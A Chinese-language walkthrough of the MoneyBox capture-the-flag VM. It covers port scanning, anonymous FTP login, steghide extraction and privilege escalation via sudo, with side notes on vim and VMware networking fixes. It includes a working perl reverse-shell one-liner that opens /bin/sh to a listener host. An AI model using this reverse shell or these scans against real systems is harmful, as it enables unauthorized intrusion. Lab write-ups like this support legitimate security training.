MoneyBox靶机之FTP匿名登录漏洞、隐写术、perl 语言反弹、Vmware 无法分配IP地址的问题

目录

主机发现

端口扫描

FTP匿名登录漏洞

web信息收集

隐写术

perl 语言反弹

Vmware 无法分配IP地址的问题

---

主机发现

arp扫描 、扫描eth0网卡所在网段的所有存活主机的ip

arp-scan -I eth0 -l

端口扫描

nmap扫描所有端口

nmap -p- 8.8.8.8

扫描端口版本信息

nmap -p21,22,80 -sV 8.8.8.8

调用nmap针对指定端口的扫描

nmap -p21 -sC 8.8.8.8

21端口漏洞

nmap -p21 -sC xxxxx

FTP匿名登录漏洞

以下特征存在可匿名登录的漏洞

ftp-anon: Anonymous FTP login allowed(FTP code 230)

登录：ftp xxx.xxx.xxx.xxx

账号密码：anonymous/anonymous

ls ：查看

get：下载

get xxx.txt

kali图片查看工具

gwenview xxx.jpg

web信息收集

爆破路径

dirseach -u http://xxx.xom

查看图片隐藏的字符

strings xxx.jpg

隐写术

隐写术解密方式读取文件

steghide info xxx.jpg 查看文件是否嵌入信息

steghide extract -sf xxx.jpg 提取嵌入的信息

查看usid权限

sudo -l

查看隐藏目录

ls -a

第三个flag在/root/.root.txt，用perl弹shell需要用到sudo才能获取root权限

perl 语言反弹

perl -e 'use Socket;$i="192.168.117.130";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

linux用vim编辑文件时退格键和上下左右键失灵的问题

修改/etc/vim/vimrc.tiny文件，将set compatible改成set nocompatible，然后再添加一行set backspace=2即可

Vmware 无法分配IP地址的问题

重启虚拟机，在黑屏阶段摁住上键（Ubantu系统Shift键），选择启动菜单，点击键盘“e”,找到内核加载配置

在fi linux下

：将ro 以及后面信息改为“rw single init=/bin/bash”,然后按"Ctrl+x"进入系统

#ip a 查看网卡名称

linux系统进入

vi /etc/network/interfaces

ubuntu系统进入

vi /etc/netplan/00-installer-config.yaml

将网卡名称改为正确的网卡名称，并确定DHCP配置启动

保存后重启系统